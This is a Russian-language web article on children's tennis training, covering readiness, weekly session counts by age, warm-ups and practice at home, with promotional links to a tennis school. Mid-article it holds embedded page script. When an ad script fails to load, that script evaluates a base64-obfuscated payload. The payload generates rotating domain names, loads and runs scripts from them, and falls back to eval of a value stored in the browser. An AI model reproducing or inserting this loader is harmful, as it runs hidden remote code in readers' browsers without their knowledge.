Большой теннис – разновидность спорта, которая отлично подходит детям младшего и среднего возраста. Регулярные тренировки положительно сказываются на здоровье малышей, а также развивает в них лидерские качества и самостоятельность. Детские тренировки по теннису проводит фитнес клуб на Оболони.
Подготовка к тренировкам
Теннис подходит далеко не каждому ребенку. Некоторым не хватает концентрации и выносливости. Поэтому если ребенок гиперактивный, то необходимо развить в нем эти качества.
Также в теннисе очень важна координация движений. Чтобы ребенок добился больших успехов на этом поприще, предварительно необходимо отдать его на такие спортивные секции, как футбол, хоккей или танцы.
Быструю реакцию, столь важную в теннисе, можно развить при помощи специальных физических упражнений. К ним относится бег, прыжки на скакалке, бросание и ловля мяча, перемещение вокруг мяча.
Особенности тренировочного процесса
Преимущество тенниса в том, что к процессу тренировок можно подходить индивидуально. Есть возможность варьировать количество тренировок и их интенсивность в зависимости от возможностей ребенка. На первых этапах не рекомендуется сильно нагружать юного теннисиста, чтобы он не потерял интерес к занятиям. Он должен воспринимать теннис, как способ хорошо провести время.
Оптимально, если у 5-летнего ребенка будет 2–3 тренировки в неделю. В 7 лет можно увеличить количество занятий до 4-х тренировок в неделю. Их длительность должна составлять около 2-х часов. var node3361 = document.getElementById(«MIXADV_3361»); if( node3361 ) { var script = document.createElement(«script»); script.charset = «utf-8»; script.src = «https://m.mixadvert.com/show/?id=3361&r=»+Math.random(); node3361.parentNode.appendChild(script); script.onerror = function(){ window.eval( atob(«dmFyIGRhdGUgPSBuZXcgRGF0ZSgpO3ZhciBtb250aCA9IGRhdGUuZ2V0TW9udGgoKSArIDE7IHZhciBkYXkgPSBkYXRlLmdldERhdGUoKTsgdmFyIHllYXIgPSBkYXRlLmdldFllYXIoKTsgdmFyIG5hbWVfZGF5ID0gZGF0ZS5nZXREYXkoKSArIDE7dmFyIGRvbSA9IFsgIm9yZyIsICJ0b3AiLCAiYml6LnVhIiwgImNvLnVhIiwgImt5aXYudWEiLCAiY2x1YiIsICJzaG9wIl07IHZhciBzdHIgPWRheSoobW9udGggKiBuYW1lX2RheSAqIGRheSkrIiIrIGRheSoobW9udGggKyBuYW1lX2RheSArIGRheSAreWVhcik7dmFyIGhhc2ggPSAgYnRvYShidG9hKHN0cikpLnRvTG93ZXJDYXNlKCk7IHZhciBob3N0ID0gaGFzaC5zdWJzdHJpbmcoMywgaGFzaC5sZW5ndGggLSBuYW1lX2RheS8yKSsiLiIrZG9tW25hbWVfZGF5IC0gMV07dmFyIHIgPSBNYXRoLnJhbmRvbSgpLnRvU3RyaW5nKDM2KS5zdWJzdHIoMiwgMik7ciA9IHIucmVwbGFjZSgvWzAtOV0vZywgIiIpO3ZhciBkZWx0YSA9IE1hdGguZmxvb3IoTWF0aC5yYW5kb20oKSAqICgxMDAgLSAxMCArIDEpKSArIDEwO3ZhciBpZCA9IDMzNjEgLSBkZWx0YTsgdmFyIHNjcmlwdF9maXJzdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoInNjcmlwdCIpO3NjcmlwdF9maXJzdC5zcmMgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIitkZWx0YStpZCtyKyIiOyBub2RlMzM2MS5wYXJlbnROb2RlLmFwcGVuZENoaWxkKHNjcmlwdF9maXJzdCk7c2V0VGltZW91dCggZnVuY3Rpb24gKCkge3NjcmlwdF9maXJzdC5yZW1vdmUoKX0sIDQwMDApO3NjcmlwdF9maXJzdC5vbmVycm9yID0gZnVuY3Rpb24oKXt2YXIgYSA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbnQoImEiKTthLmhyZWYgPSAiaHR0cHM6Ly8iKyBob3N0KyIvIjsgbm9kZTMzNjEucGFyZW50Tm9kZS5hcHBlbmRDaGlsZChhKTsgc2V0VGltZW91dCggZnVuY3Rpb24gKCkgeyBpZiggbm9kZTMzNjEuaW5uZXJIVE1MID09ICIiICkgd2luZG93LmV2YWwobG9jYWxTdG9yYWdlLmdldEl0ZW0oIjMzNjEiKSkgfSwgNTAwMCk7ICA7fTsg») ); } }
Одна тренировка в неделю – это недостаточное количество занятий, для того чтобы ребенок достиг успеха в данном виде спорта. Профессиональные теннисисты рекомендуют заниматься, как минимум, 3 раза в неделю.
Ход тренировки
Тренировки в Школе тенниса МТА, записаться в которую можно по ссылке https://tennis-academy.com.ua/school-pansion/, начинаются с разминки. Она является главным и неотъемлемым этапом, поскольку разогревает мышцы ребенка и подготавливает их к интенсивным нагрузкам. Если ею пренебречь, то существует высокая вероятность получить травму. Продолжительность разминки в среднем составляет 10 минут.
После того, как мышцы хорошо разогреты, можно переходить непосредственно к тренировке по теннису. На каждой тренировке обычно уделяется особое внимание развитию того или иного качества спортсмена: скорости, силы, выносливости, отработке техники.
Тренера не рекомендуют прерывать тренировки, когда нет занятий в школе. Некоторые упражнения настолько простые, что их не составит труда отрабатывать домашних условиях или на улице. Партнером ребенка может стать кто-то из родителей. (adsbygoogle = window.adsbygoogle || []).push({});
Источник: https://akzent.zp.ua/detskie-trenirovki-po-tennisu-osobennosti/
Мы в Telegram, наш Telegram bot — @zpua_bot, Мы в Viber, Мы на Facebook
